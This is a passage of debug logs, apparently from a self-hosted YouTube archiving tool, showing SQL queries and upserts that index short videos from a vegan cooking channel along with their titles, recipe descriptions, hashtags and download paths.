"short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["FULL RECIPE VIDEO: https://youtu.be/hQqQybEApwI\n\n🍲This cozy Instant Pot Rustic Red Potato & Leek Soup puts a spin on a classic cold-weather dish with hearty ingredients, satisfying texture and loads of flavour! 🌱 Vegan, gluten-free, oil-free option and pressure cooker-friendly.\n\nLeeks are an underrated vegetable that I think deserve more appreciation! Their mild onion-y flavour, subtle sweetness and versatility makes them a perfect base for soups, stews and casseroles. Paired up with low-calorie yet hearty red potatoes, which are loaded with fibre, B vitamins, iron and potassium, makes this chunky soup filling yet weight-loss friendly!\n\nSAVE THIS POST FOR LATER! ✔️ and head to my blog STEAMYVEGANKITCHEN dot com for the full recipe 😍 Link in bio, friends 🧡\n\n#steamyvegankitchen #steamyvegan #veganfood #veganfoodshare #plantbased #plantbasedfoodie #plantbasednutrition #eatplants #veganworldshare #easyvegan #vancityvegan #veganfoodlovers #eatmoreplants #veganaf #veganlove #instavegan #vegancommunity #veganfoodlover #whatveganseat #poweredbyplants #newvegan #veganfoodie #vegangirl #veganinstaclub #vegansofig #vegansofinstagram #plantbasedrecipes #veganrecipes #veganlife #veganfoodporn", "cozy soups to make in your instant pot — Ep. 1 🍲 rustic potato & leek soup #shorts #youtubeshorts", "14645b85-2350-497d-ba30-29ae8d5e9b03", 1, [], 58, false, "lCCXT45Z1l4", "https://www.youtube.com/shorts/lCCXT45Z1l4", 213, "/downloads/downloads/alec/Steamy Vegan/2022-10-25 cozy soups to make in your instant pot — Ep. 1 🍲 rustic potato & leek soup #shorts #youtubeshorts/cozy soups to make in your instant pot — Ep. 1 🍲 rustic potato & leek soup #shorts #youtubeshorts [lCCXT45Z1l4].NA", false, false, true, 2, ~U[2022-10-25 15:20:00Z], ~U[2026-03-22 03:26:52Z], ~U[2026-03-22 03:26:52Z], "FULL RECIPE VIDEO: https://youtu.be/hQqQybEApwI\n\n🍲This cozy Instant Pot Rustic Red Potato & Leek Soup puts a spin on a classic cold-weather dish with hearty ingredients, satisfying texture and loads of flavour! 🌱 Vegan, gluten-free, oil-free option and pressure cooker-friendly.\n\nLeeks are an underrated vegetable that I think deserve more appreciation! Their mild onion-y flavour, subtle sweetness and versatility makes them a perfect base for soups, stews and casseroles. Paired up with low-calorie yet hearty red potatoes, which are loaded with fibre, B vitamins, iron and potassium, makes this chunky soup filling yet weight-loss friendly!\n\nSAVE THIS POST FOR LATER! ✔️ and head to my blog STEAMYVEGANKITCHEN dot com for the full recipe 😍 Link in bio, friends 🧡\n\n#steamyvegankitchen #steamyvegan #veganfood #veganfoodshare #plantbased #plantbasedfoodie #plantbasednutrition #eatplants #veganworldshare #easyvegan #vancityvegan #veganfoodlovers #eatmoreplants #veganaf #veganlove #instavegan #vegancommunity #veganfoodlover #whatveganseat #poweredbyplants #newvegan #veganfoodie #vegangirl #veganinstaclub #vegansofig #vegansofinstagram #plantbasedrecipes #veganrecipes #veganlife #veganfoodporn", "cozy soups to make in your instant pot — Ep. 1 🍲 rustic potato & leek soup #shorts #youtubeshorts", 1, 58, false, "lCCXT45Z1l4", "https://www.youtube.com/shorts/lCCXT45Z1l4", "/downloads/downloads/alec/Steamy Vegan/2022-10-25 cozy soups to make in your instant pot — Ep. 1 🍲 rustic potato & leek soup #shorts #youtubeshorts/cozy soups to make in your instant pot — Ep. 1 🍲 rustic potato & leek soup #shorts #youtubeshorts [lCCXT45Z1l4].NA", true, ~U[2022-10-25 15:20:00Z]] 20:26:52.640 [debug] QUERY OK source="sources" db=0.4ms idle=56.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:52.640 [debug] QUERY OK source="media_profiles" db=0.6ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:52.641 [debug] QUERY OK source="media_items" db=0.6ms idle=6.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [602] 20:26:52.642 [debug] Current batch of media processed. Will check again in 1000ms 20:26:53.643 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Check out the full Milkies awards show live on our channel. We taste tested 5 non dairy plant based milks and handed out 8 awards. This episode will help you determine which non dairy milk is the tastiest, healthiest and most environmentally friendly.\n\nFull episode here: https://youtu.be/Z2mLUIoRAK0", "duration" => 10, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-10-24 Milk…Say Hello to My Little Friend… 🍪#shorts #youtubeshorts/Milk…Say Hello to My Little Friend… 🍪#shorts #youtubeshorts [uYJudfzuwPA].NA", "id" => "uYJudfzuwPA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/uYJudfzuwPA", "playlist_index" => 214, "timestamp" => 1666636800, "title" => "Milk…Say Hello to My Little Friend… 🍪#shorts #youtubeshorts", "upload_date" => "20221024"} 20:26:53.644 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1004.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:53.645 [debug] QUERY OK source="sources" db=0.5ms idle=1004.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:53.647 [debug] QUERY OK source="media_items" db=1.9ms idle=1004.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-24 18:40:00Z], 1] 20:26:53.648 [debug] QUERY OK source="media_items" db=0.8ms idle=1005.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Check out the full Milkies awards show live on our channel. We taste tested 5 non dairy plant based milks and handed out 8 awards. This episode will help you determine which non dairy milk is the tastiest, healthiest and most environmentally friendly.\n\nFull episode here: https://youtu.be/Z2mLUIoRAK0", "Milk…Say Hello to My Little Friend… 🍪#shorts #youtubeshorts", "efbc8f67-2736-488d-bb27-fa174bb59fc1", 1, [], 10, false, "uYJudfzuwPA", "https://www.youtube.com/shorts/uYJudfzuwPA", 214, "/downloads/downloads/alec/Steamy Vegan/2022-10-24 Milk…Say Hello to My Little Friend… 🍪#shorts #youtubeshorts/Milk…Say Hello to My Little Friend… 🍪#shorts #youtubeshorts [uYJudfzuwPA].NA", false, false, true, 0, ~U[2022-10-24 18:40:00Z], ~U[2026-03-22 03:26:53Z], ~U[2026-03-22 03:26:53Z], "Check out the full Milkies awards show live on our channel. We taste tested 5 non dairy plant based milks and handed out 8 awards. This episode will help you determine which non dairy milk is the tastiest, healthiest and most environmentally friendly.\n\nFull episode here: https://youtu.be/Z2mLUIoRAK0", "Milk…Say Hello to My Little Friend… 🍪#shorts #youtubeshorts", 1, 10, false, "uYJudfzuwPA", "https://www.youtube.com/shorts/uYJudfzuwPA", "/downloads/downloads/alec/Steamy Vegan/2022-10-24 Milk…Say Hello to My Little Friend… 🍪#shorts #youtubeshorts/Milk…Say Hello to My Little Friend… 🍪#shorts #youtubeshorts [uYJudfzuwPA].NA", true, ~U[2022-10-24 18:40:00Z]] 20:26:53.649 [debug] QUERY OK source="sources" db=0.8ms idle=533.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:53.650 [debug] QUERY OK source="media_profiles" db=0.6ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:53.651 [debug] QUERY OK source="media_items" db=0.3ms idle=5.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [603] 20:26:53.651 [debug] Current batch of media processed. Will check again in 1000ms 20:26:54.652 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-10-20 Brad’s fav way to call in sick to work 😂/Brad’s fav way to call in sick to work 😂 [QYIKgdoewjE].NA", "id" => "QYIKgdoewjE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/QYIKgdoewjE", "playlist_index" => 215, "timestamp" => 1666278027, "title" => "Brad’s fav way to call in sick to work 😂", "upload_date" => "20221020"} 20:26:54.653 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1004.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:54.654 [debug] QUERY OK source="sources" db=0.6ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:54.656 [debug] QUERY OK source="media_items" db=2.0ms idle=1003.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-20 15:00:27Z], 1] 20:26:54.658 [debug] QUERY OK source="media_items" db=1.0ms idle=1005.6ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Brad’s fav way to call in sick to work 😂", "70c52013-e9fb-419e-bf90-eb6fc3c0bee7", 1, [], 15, false, "QYIKgdoewjE", "https://www.youtube.com/shorts/QYIKgdoewjE", 215, "/downloads/downloads/alec/Steamy Vegan/2022-10-20 Brad’s fav way to call in sick to work 😂/Brad’s fav way to call in sick to work 😂 [QYIKgdoewjE].NA", false, false, true, 0, ~U[2022-10-20 15:00:27Z], ~U[2026-03-22 03:26:54Z], ~U[2026-03-22 03:26:54Z], "", "Brad’s fav way to call in sick to work 😂", 1, 15, false, "QYIKgdoewjE", "https://www.youtube.com/shorts/QYIKgdoewjE", "/downloads/downloads/alec/Steamy Vegan/2022-10-20 Brad’s fav way to call in sick to work 😂/Brad’s fav way to call in sick to work 😂 [QYIKgdoewjE].NA", true, ~U[2022-10-20 15:00:27Z]] 20:26:54.658 [debug] QUERY OK source="sources" db=0.5ms idle=540.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:54.659 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:54.660 [debug] QUERY OK source="media_items" db=0.3ms idle=5.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [604] 20:26:54.660 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-10-20 How to call in sick to work 👀/How to call in sick to work 👀 [viRWRifTar8].NA", "id" => "viRWRifTar8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/viRWRifTar8", "playlist_index" => 216, "timestamp" => 1666235604, "title" => "How to call in sick to work 👀", "upload_date" => "20221020"} 20:26:54.661 [debug] QUERY OK source="sources" db=0.8ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:54.661 [debug] QUERY OK source="sources" db=0.4ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:54.663 [debug] QUERY OK source="media_items" db=1.7ms idle=3.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-20 03:13:24Z], 1] 20:26:54.665 [debug] QUERY OK source="media_items" db=0.7ms idle=4.6ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["How to call in sick to work 👀", "f87f9013-11e5-4cf8-ab77-f1b1c87848d5", 1, [], 15, false, "viRWRifTar8", "https://www.youtube.com/shorts/viRWRifTar8", 216, "/downloads/downloads/alec/Steamy Vegan/2022-10-20 How to call in sick to work 👀/How to call in sick to work 👀 [viRWRifTar8].NA", false, false, true, 1, ~U[2022-10-20 03:13:24Z], ~U[2026-03-22 03:26:54Z], ~U[2026-03-22 03:26:54Z], "", "How to call in sick to work 👀", 1, 15, false, "viRWRifTar8", "https://www.youtube.com/shorts/viRWRifTar8", "/downloads/downloads/alec/Steamy Vegan/2022-10-20 How to call in sick to work 👀/How to call in sick to work 👀 [viRWRifTar8].NA", true, ~U[2022-10-20 03:13:24Z]] 20:26:54.665 [debug] QUERY OK source="sources" db=0.3ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:54.665 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:54.666 [debug] QUERY OK source="media_items" db=0.3ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [605] 20:26:54.666 [debug] Current batch of media processed. Will check again in 1000ms 20:26:55.667 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "A ⭐️realistic⭐️ day of eating as a vegan 🌱😍\n\n🥣 BREAKFAST — pumpkin spice banana choc chip oatmeal \n🍲 LUNCH — rustic red potato 🥔 & leek soup (recipe hitting my blog SOON!) and quinoa salad (using my iHarvest greens! @igworks01 ) w/ chipotle cilantro 🌿 cashew cream dressing \n🥗 DINNER — Mexican-inspired black bean 🫘 tomato 🍅 soup, salad, crispy baked tofu and roasted potatoes 🥔 \n\nEasy, nutritious, whole food plant based goodness! Follow @steamyvegankitchen for more vegan food inspiration ⭐️\n\n#steamyvegankitchen #steamyvegan #whatieat #whatieatinaday #whatiate #whatiatetoday #veganwhatieatinaday #wfpb #igworks #iharvest #indoorgardenworks #wholefoodplantbased #wholefoodplantbaseddiet #healthyeating #weightloss #weightlossfriendly #veganweightloss #yvrvegans #vancouvervegan", "duration" => 46, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-10-19 What I eat as a vegan 🌱 What I ate in a day!/What I eat as a vegan 🌱 What I ate in a day! [HIvOgXqde4w].NA", "id" => "HIvOgXqde4w", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/HIvOgXqde4w", "playlist_index" => 217, "timestamp" => 1666202820, "title" => "What I eat as a vegan 🌱 What I ate in a day!", "upload_date" => "20221019"} 20:26:55.668 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:55.669 [debug] QUERY OK source="sources" db=0.3ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:55.671 [debug] QUERY OK source="media_items" db=2.1ms idle=1003.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-19 18:07:00Z], 1] 20:26:55.673 [debug] QUERY OK source="media_items" db=1.0ms idle=1005.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["A ⭐️realistic⭐️ day of eating as a vegan 🌱😍\n\n🥣 BREAKFAST — pumpkin spice banana choc chip oatmeal \n🍲 LUNCH — rustic red potato 🥔 & leek soup (recipe hitting my blog SOON!) and quinoa salad (using my iHarvest greens! @igworks01 ) w/ chipotle cilantro 🌿 cashew cream dressing \n🥗 DINNER — Mexican-inspired black bean 🫘 tomato 🍅 soup, salad, crispy 